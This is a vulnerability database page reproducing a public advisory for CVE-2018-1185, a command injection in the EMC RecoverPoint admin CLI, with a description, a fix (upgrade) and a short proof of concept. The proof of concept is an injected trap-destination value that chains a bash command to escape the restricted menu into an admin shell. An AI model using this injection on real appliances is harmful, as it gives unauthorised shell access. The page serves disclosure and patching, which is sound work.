Vulners
Lucene search
EMC RecoverPoint 4.3 - Admin CLI Command Injection Vulnerability
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | EMC RecoverPoint and EMC RecoverPoint for Virtual Machines Command Injection Vulnerability (CNVD-2018-04836) | 5 Feb 201800:00 | – | cnvd |
 | CVE-2018-1185 | 3 Feb 201801:00 | – | cve |
 | CVE-2018-1185 | 3 Feb 201801:00 | – | cvelist |
 | EMC RecoverPoint 4.3 - 'Admin CLI' Command Injection | 11 May 201800:00 | – | exploitdb |
 | EUVD-2018-11823 | 7 Oct 202500:30 | – | euvd |
 | EMC RecoverPoint 4.3 - Admin CLI Command Injection | 11 May 201800:00 | – | exploitpack |
 | CVE-2018-1185 | 3 Feb 201816:29 | – | nvd |
 | CVE-2018-1185 | 3 Feb 201816:29 | – | osv |
 | EMC RecoverPoint 4.3 Admin CLI Command Injection | 13 May 201800:00 | – | packetstorm |
 | Command injection | 3 Feb 201816:29 | – | prion |
10
# Exploit Title: EMC RecoverPoint 4.3 - Admin CLI Command Injection
# Version: RecoverPoint prior to 5.1.1 RecoverPoint for VMs prior to 5.0.1.3
# Date: 2018-05-11
# Exploit Author: Paul Taylor
# Github: https://github.com/bao7uo
# Tested on: RecoverPoint for VMs 4.3, RecoverPoint 4.4.SP1.P1
# CVE: CVE-2018-1185
1. Description
An OS command injection vulnerability resulting in code execution as the built-in admin user.
A crafted entry can result in the ability to escape from the restricted admin user's menu driven CLI to a full Linux operating system shell in the context of the admin user. The attack vector is the trap destination (hostname/IP) parameter of the test_snmp function.
2. Proof of Concept
RecoverPoint> test_snmp
Enter the trap destination (host name or IP)
> /dev/null 2>&1 ; bash #
[email protected]:/home/kos/cli$ exit
exit
Test completed successfully.
RecoverPoint>
3. Solution:
Update to latest version of RecoverPoint
# 0day.today [2018-05-12] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 May 2018 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.01062